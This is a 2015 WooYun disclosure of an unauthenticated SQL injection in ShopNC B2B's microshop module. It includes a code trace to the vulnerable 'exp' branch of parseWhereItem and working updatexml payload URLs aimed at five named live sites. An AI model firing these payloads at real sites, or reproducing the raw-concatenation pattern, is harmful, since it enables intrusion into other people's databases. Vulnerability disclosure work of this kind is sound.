当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0124172

漏洞标题:shopNC B2B版SQL注入一枚

相关厂商:shopnc.net

漏洞作者: 路人甲

提交时间:2015-07-03 15:54

修复时间:2015-10-04 09:40

公开时间:2015-10-04 09:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-03: 细节已通知厂商并且等待厂商处理中
2015-07-06: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-08-30: 细节向核心白帽子及相关领域专家公开
2015-09-09: 细节向普通白帽子公开
2015-09-19: 细节向实习白帽子公开
2015-10-04: 细节向公众公开

简要描述:

无需登录直接出数据

详细说明:

为了节省审核时间,先来五个实例

http://www.xiu365.cn/microshop/index.php?act=personal&class_id[0]=exp&class_id[1]=1)%20or%20updatexml(1,concat(0x5c,user()),1)%23


http://www.xiu365.cn/microshop/index.php?act=personal&class_id[0]=exp&class_id[1]=1)%20or%20updatexml(1,concat(0x5c,user()),1)%23


http://o.oular.com/microshop/index.php?act=personal&class_id[0]=exp&class_id[1]=1)%20or%20updatexml(1,concat(0x5c,user()),1)%23


http://121.42.141.67/microshop/index.php?act=personal&class_id[0]=exp&class_id[1]=1)%20or%20updatexml(1,concat(0x5c,user()),1)%23


http://m.qthtbw.com/modules/microshop/index.php?act=personal&class_id[0]=exp&class_id[1]=1)%20or%20updatexml(1,concat(0x5c,user()),1)%23


看到
E:/wamp/www/shopnc B2B2C/modules/microshop/control/personal.php

public function listOp() {
$model_class = Model('micro_personal_class');
$class_list = $model_class->getList(TRUE,NULL,'class_sort asc');
Tpl::output('class_list',$class_list);
$condition = array();
if(isset($_GET['keyword'])) {
$condition['commend_message'] = array('like','%'.$_GET['keyword'].'%');
}
if(isset($_GET['class_id'])&&!empty($_GET['class_id'])) {
$condition['class_id'] = $_GET['class_id'];
}
$order = 'microshop_sort asc,commend_time desc';
if($_GET['order'] == 'hot') {
$order = 'microshop_sort asc,click_count desc';
}
self::get_personal_list($condition,$order);
Tpl::output('html_title',Language::get('nc_microshop_personal').'-'.Language::get('nc_microshop').'-'.C('site_name'));
Tpl::showpage('personal_list');
}


然后跟进get_personal_list

protected function get_personal_list( $condition, $order = "commend_time desc" )
{
$model_personal = model( "micro_personal" );
$page_number = 35;
$field = "micro_personal.*,member.member_name,member.member_avatar";
$list = $model_personal->getListWithUserInfo( $condition, $page_number, $order, $field );
Tpl::output( "show_page", $model_personal->showpage( 2 ) );
Tpl::output( "list", $list );
}


然后继续跟进getListWithUserInfo

public function getListWithUserInfo($condition,$page='',$order='',$field='*',$limit=''){
$on = 'micro_personal.commend_member_id = member.member_id';
$result = $this->table('micro_personal,member')->field($field)->join('left')->on($on)->where($condition)->page($page)->order($order)->limit($limit)->select();
return $result;
}


然后跟进可以看到这个函数parseWhereItem

protected function parseWhereItem( $key, $val )
{
$whereStr = "";
if ( is_array( $val ) )
{
if ( is_string( $val[0] ) )
{
if ( preg_match( "/^(EQ|NEQ|GT|EGT|LT|ELT|NOTLIKE|LIKE)\$/i", $val[0] ) )
{
$whereStr .= $key." ".$this->comparison[strtolower( $val[0] )]." ".$this->parseValue( $val[1] );
return $whereStr;
}
if ( "exp" == strtolower( $val[0] ) )
{
$whereStr .= " (".$key." ".$val[1].") ";
return $whereStr;
}
if ( preg_match( "/IN/i", $val[0] ) )
{
if ( isset( $val[2] ) && "exp" == $val[2] )
{
$whereStr .= $key." ".strtoupper( $val[0] )." ".$val[1];
return $whereStr;
}
if ( empty( $val[1] ) )
{
$whereStr .= $key." ".strtoupper( $val[0] )."('')";
return $whereStr;
}
if ( is_string( $val[1] ) )
{
$val[1] = explode( ",", $val[1] );
$zone = implode( ",", $this->parseValue( $val[1] ) );
$whereStr .= $key." ".strtoupper( $val[0] )." (".$zone.")";
return $whereStr;
}
if ( is_array( $val[1] ) )
{
$zone = implode( ",", $this->parseValue( $val[1] ) );
$whereStr .= $key." ".strtoupper( $val[0] )." (".$zone.")";
return $whereStr;
}
}
else if ( preg_match( "/BETWEEN/i", $val[0] ) )
{
$data = is_string( $val[1] ) ? explode( ",", $val[1] ) : $val[1];
$whereStr .= " (".$key." ".strtoupper( $val[0] )." ".$this->parseValue( $data[0] )." AND ".$this->parseValue( $data[1] )." )";
return $whereStr;
}
else
{
$error = "Model Error: args ".$val[0]." is error!";
throw_exception( $error );
return $whereStr;
}
}
else
{
$count = count( $val );
if ( in_array( strtoupper( trim( $val[$count - 1] ) ), array( "AND", "OR", "XOR" ) ) )
{
$rule = strtoupper( trim( $val[$count - 1] ) );
$count -= 1;
}
else
{
$rule = "AND";
}
$i = 0;
for ( ; $i < $count; ++$i )
{
$data = is_array( $val[$i] ) ? $val[$i][1] : $val[$i];
if ( "exp" == strtolower( $val[$i][0] ) )
{
$whereStr .= "(".$key." ".$data.") ".$rule." ";
}
else
{
$op = is_array( $val[$i] ) ? $this->comparison[strtolower( $val[$i][0] )] : "=";
$whereStr .= "(".$key." ".$op." ".$this->parseValue( $data ).") ".$rule." ";
}
}
$whereStr = substr( $whereStr, 0, -4 );
return $whereStr;
}
}
else
{
$whereStr .= $key." = ".$this->parseValue( $val );
}
return $whereStr;
}


如果我们传入一个数组然后val[0]=exp,其中val[1]可以写任意的sql语句。
根据以上的信息我们可以看到$condition其实是GET传进去的,我们可以传一个数组。然后构造以下exp

index.php?act=personal&class_id[0]=exp&class_id[1]=1)%20or%20updatexml(1,concat(0x5c,user()),1)%23


QQ截图20150702194117.png

漏洞证明:

QQ截图20150702194117.png

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-04 09:40

厂商回复:

漏洞已经修复,但从非官方购买盗版的客户并未进行同步更新,升级

最新状态:

暂无